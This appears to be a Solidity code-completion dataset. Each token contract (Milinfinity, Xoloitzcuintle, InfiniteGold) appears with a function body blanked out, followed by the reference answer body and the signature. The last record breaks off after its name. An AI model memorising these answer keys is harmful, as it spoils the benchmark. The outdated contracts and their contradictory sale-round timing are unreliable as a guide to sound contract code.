contract MilinfinityToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Milinfinity"; string public constant symbol = "MFY"; uint public constant decimals = 1; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 230000000000e1; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 500; // 0.005 Ether uint256 public tokensPerEth = 300000000e1; uint public target0drop = 20000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x88A97d97413a6c2290f748D34aa204619d96b1a1; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 30000000000e1; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } function Distribute(address _participant, uint _amount) onlyOwner internal {<FILL_FUNCTION_BODY> } function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 1 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 300000e1; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
contract MilinfinityToken is ERC20 { using SafeMath for uint256; address owner = msg.sender; mapping (address => uint256) balances; mapping (address => mapping (address => uint256)) allowed; mapping (address => bool) public Claimed; string public constant name = "Milinfinity"; string public constant symbol = "MFY"; uint public constant decimals = 1; uint public deadline = now + 150 * 1 days; uint public round2 = now + 50 * 1 days; uint public round1 = now + 100 * 1 days; uint256 public totalSupply = 230000000000e1; uint256 public totalDistributed; uint256 public constant requestMinimum = 1 ether / 500; // 0.005 Ether uint256 public tokensPerEth = 300000000e1; uint public target0drop = 20000; uint public progress0drop = 0; //here u will write your ether address address multisig = 0x88A97d97413a6c2290f748D34aa204619d96b1a1; event Transfer(address indexed _from, address indexed _to, uint256 _value); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Distr(address indexed to, uint256 amount); event DistrFinished(); event Airdrop(address indexed _owner, uint _amount, uint _balance); event TokensPerEthUpdated(uint _tokensPerEth); event Burn(address indexed burner, uint256 value); event Add(uint256 value); bool public distributionFinished = false; modifier canDistr() { require(!distributionFinished); _; } modifier onlyOwner() { require(msg.sender == owner); _; } constructor() public { uint256 teamFund = 30000000000e1; owner = msg.sender; distr(owner, teamFund); } function transferOwnership(address newOwner) onlyOwner public { if (newOwner != address(0)) { owner = newOwner; } } function finishDistribution() onlyOwner canDistr public returns (bool) { distributionFinished = true; emit DistrFinished(); return true; } function distr(address _to, uint256 _amount) canDistr private returns (bool) { totalDistributed = totalDistributed.add(_amount); balances[_to] = balances[_to].add(_amount); emit Distr(_to, _amount); emit Transfer(address(0), _to, _amount); return true; } <FILL_FUNCTION> function DistributeAirdrop(address _participant, uint _amount) onlyOwner external { Distribute(_participant, _amount); } function DistributeAirdropMultiple(address[] _addresses, uint _amount) onlyOwner external { for (uint i = 0; i < _addresses.length; i++) Distribute(_addresses[i], _amount); } function updateTokensPerEth(uint _tokensPerEth) public onlyOwner { tokensPerEth = _tokensPerEth; emit TokensPerEthUpdated(_tokensPerEth); } function () external payable { getTokens(); } function getTokens() payable canDistr public { uint256 tokens = 0; uint256 bonus = 0; uint256 countbonus = 0; uint256 bonusCond1 = 1 ether / 10; uint256 bonusCond2 = 1 ether; uint256 bonusCond3 = 5 ether; tokens = tokensPerEth.mul(msg.value) / 1 ether; address investor = msg.sender; if (msg.value >= requestMinimum && now < deadline && now < round1 && now < round2) { if(msg.value >= bonusCond1 && msg.value < bonusCond2){ countbonus = tokens * 1 / 100; }else if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else if(msg.value >= requestMinimum && now < deadline && now > round1 && now < round2){ if(msg.value >= bonusCond2 && msg.value < bonusCond3){ countbonus = tokens * 2 / 100; }else if(msg.value >= bonusCond3){ countbonus = tokens * 3 / 100; } }else{ countbonus = 0; } bonus = tokens + countbonus; if (tokens == 0) { uint256 valdrop = 300000e1; if (Claimed[investor] == false && progress0drop <= target0drop ) { distr(investor, valdrop); Claimed[investor] = true; progress0drop++; }else{ require( msg.value >= requestMinimum ); } }else if(tokens > 0 && msg.value >= requestMinimum){ if( now >= deadline && now >= round1 && now < round2){ distr(investor, tokens); }else{ if(msg.value >= bonusCond1){ distr(investor, bonus); }else{ distr(investor, tokens); } } }else{ require( msg.value >= requestMinimum ); } if (totalDistributed >= totalSupply) { distributionFinished = true; } //here we will send all wei to your address multisig.transfer(msg.value); } function balanceOf(address _owner) constant public returns (uint256) { return balances[_owner]; } modifier onlyPayloadSize(uint size) { assert(msg.data.length >= size + 4); _; } function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[msg.sender]); balances[msg.sender] = balances[msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(msg.sender, _to, _amount); return true; } function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) { require(_to != address(0)); require(_amount <= balances[_from]); require(_amount <= allowed[_from][msg.sender]); balances[_from] = balances[_from].sub(_amount); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount); balances[_to] = balances[_to].add(_amount); emit Transfer(_from, _to, _amount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; } allowed[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function allowance(address _owner, address _spender) constant public returns (uint256) { return allowed[_owner][_spender]; } function getTokenBalance(address tokenAddress, address who) constant public returns (uint){ ForeignToken t = ForeignToken(tokenAddress); uint bal = t.balanceOf(who); return bal; } function withdrawAll() onlyOwner public { address myAddress = this; uint256 etherBalance = myAddress.balance; owner.transfer(etherBalance); } function withdraw(uint256 _wdamount) onlyOwner public { uint256 wantAmount = _wdamount; owner.transfer(wantAmount); } function burn(uint256 _value) onlyOwner public { require(_value <= balances[msg.sender]); address burner = msg.sender; balances[burner] = balances[burner].sub(_value); totalSupply = totalSupply.sub(_value); totalDistributed = totalDistributed.sub(_value); emit Burn(burner, _value); } function add(uint256 _value) onlyOwner public { uint256 counter = totalSupply.add(_value); totalSupply = counter; emit Add(_value); } function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) { ForeignToken token = ForeignToken(_tokenContract); uint256 amount = token.balanceOf(address(this)); return token.transfer(owner, amount); } }
require( _amount > 0 ); require( totalDistributed < totalSupply ); balances[_participant] = balances[_participant].add(_amount); totalDistributed = totalDistributed.add(_amount); if (totalDistributed >= totalSupply) { distributionFinished = true; } // log emit Airdrop(_participant, _amount, balances[_participant]); emit Transfer(address(0), _participant, _amount);
function Distribute(address _participant, uint _amount) onlyOwner internal
function Distribute(address _participant, uint _amount) onlyOwner internal
62186
Xoloitzcuintle
reflect
contract Xoloitzcuintle is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 50000 * 10**7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Xoloitzcuintle'; string private _symbol = 'Zolo'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000 * 10**7 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**5 ); } function reflect(uint256 tAmount) public {<FILL_FUNCTION_BODY> } function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); //set reflection amount in mul() uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
contract Xoloitzcuintle is Context, IERC20, Ownable { using SafeMath for uint256; using Address for address; mapping (address => uint256) private _rOwned; mapping (address => uint256) private _tOwned; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _isExcluded; address[] private _excluded; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 50000 * 10**7 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; string private _name = 'Xoloitzcuintle'; string private _symbol = 'Zolo'; uint8 private _decimals = 9; uint256 public _maxTxAmount = 50000 * 10**7 * 10**9; constructor () public { _rOwned[_msgSender()] = _rTotal; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public view returns (string memory) { return _name; } function symbol() public view returns (string memory) { return _symbol; } function decimals() public view returns (uint8) { return _decimals; } function totalSupply() public view override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { if (_isExcluded[account]) return _tOwned[account]; return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero")); return true; } function isExcluded(address account) public view returns (bool) { return _isExcluded[account]; } function totalFees() public view returns (uint256) { return _tFeeTotal; } function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() { _maxTxAmount = _tTotal.mul(maxTxPercent).div( 10**5 ); } <FILL_FUNCTION> function reflectionFromToken(uint256 tAmount, bool deductTransferFee) public view returns(uint256) { require(tAmount <= _tTotal, "Amount must be less than supply"); if (!deductTransferFee) { (uint256 rAmount,,,,) = _getValues(tAmount); return rAmount; } else { (,uint256 rTransferAmount,,,) = _getValues(tAmount); return rTransferAmount; } } function tokenFromReflection(uint256 rAmount) public view returns(uint256) { require(rAmount <= _rTotal, "Amount must be less than total reflections"); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function excludeAccount(address account) external onlyOwner() { require(!_isExcluded[account], "Account is already excluded"); if(_rOwned[account] > 0) { _tOwned[account] = tokenFromReflection(_rOwned[account]); } _isExcluded[account] = true; _excluded.push(account); } function includeAccount(address account) external onlyOwner() { require(_isExcluded[account], "Account is already excluded"); for (uint256 i = 0; i < _excluded.length; i++) { if (_excluded[i] == account) { _excluded[i] = _excluded[_excluded.length - 1]; _tOwned[account] = 0; _isExcluded[account] = false; _excluded.pop(); break; } } } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) private { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if(sender != owner() && recipient != owner()) require(amount <= _maxTxAmount, "Transfer amount exceeds the maxTxAmount."); if (_isExcluded[sender] && !_isExcluded[recipient]) { _transferFromExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && _isExcluded[recipient]) { _transferToExcluded(sender, recipient, amount); } else if (!_isExcluded[sender] && !_isExcluded[recipient]) { _transferStandard(sender, recipient, amount); } else if (_isExcluded[sender] && _isExcluded[recipient]) { _transferBothExcluded(sender, recipient, amount); } else { _transferStandard(sender, recipient, amount); } } function _transferStandard(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferToExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferFromExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _transferBothExcluded(address sender, address recipient, uint256 tAmount) private { (uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee) = _getValues(tAmount); _tOwned[sender] = _tOwned[sender].sub(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _tOwned[recipient] = _tOwned[recipient].add(tTransferAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256) { (uint256 tTransferAmount, uint256 tFee) = _getTValues(tAmount); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee); } function _getTValues(uint256 tAmount) private pure returns (uint256, uint256) { uint256 tFee = tAmount.div(100).mul(4); //set reflection amount in mul() uint256 tTransferAmount = tAmount.sub(tFee); return (tTransferAmount, tFee); } function _getRValues(uint256 tAmount, uint256 tFee, uint256 currentRate) private pure returns (uint256, uint256, uint256) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns(uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns(uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; for (uint256 i = 0; i < _excluded.length; i++) { if (_rOwned[_excluded[i]] > rSupply || _tOwned[_excluded[i]] > tSupply) return (_rTotal, _tTotal); rSupply = rSupply.sub(_rOwned[_excluded[i]]); tSupply = tSupply.sub(_tOwned[_excluded[i]]); } if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } }
address sender = _msgSender(); require(!_isExcluded[sender], "Excluded addresses cannot call this function"); (uint256 rAmount,,,,) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rTotal = _rTotal.sub(rAmount); _tFeeTotal = _tFeeTotal.add(tAmount);
function reflect(uint256 tAmount) public
function reflect(uint256 tAmount) public
48131
InfiniteGold
transfer
contract InfiniteGold is ERC20, owned { using SafeMath for uint256; string public name = "InfiniteGold"; string public symbol = "IG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function InfiniteGold() public { totalSupply = 800000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } function transfer(address _to, uint256 _value) public returns (bool success) {<FILL_FUNCTION_BODY> } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
contract InfiniteGold is ERC20, owned { using SafeMath for uint256; string public name = "InfiniteGold"; string public symbol = "IG"; uint8 public decimals = 18; uint256 public totalSupply; mapping (address => uint256) private balances; mapping (address => mapping (address => uint256)) private allowed; function balanceOf(address _who) public constant returns (uint256) { return balances[_who]; } function allowance(address _owner, address _spender) public constant returns (uint256 remaining) { return allowed[_owner][_spender]; } function InfiniteGold() public { totalSupply = 800000 * 1 ether; balances[msg.sender] = totalSupply; Transfer(0, msg.sender, totalSupply); } <FILL_FUNCTION> function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); require(balances[_from] >= _value && allowed[_from][msg.sender] >= _value); allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); balances[_from] = balances[_from].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(_from, _to, _value); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require(balances[msg.sender] >= _value); allowed[msg.sender][_spender] = _value; Approval(msg.sender, _spender, _value); return true; } function withdrawTokens(uint256 _value) public onlyOwner { require(balances[this] >= _value); balances[this] = balances[this].sub(_value); balances[msg.sender] = balances[msg.sender].add(_value); Transfer(this, msg.sender, _value); } }
require(_to != address(0)); require(balances[msg.sender] >= _value); balances[msg.sender] = balances[msg.sender].sub(_value); balances[_to] = balances[_to].add(_value); Transfer(msg.sender, _to, _value); return true;
function transfer(address _to, uint256 _value) public returns (bool success)
function transfer(address _to, uint256 _value) public returns (bool success)
18810
swapUSDx
swapUSDxTo
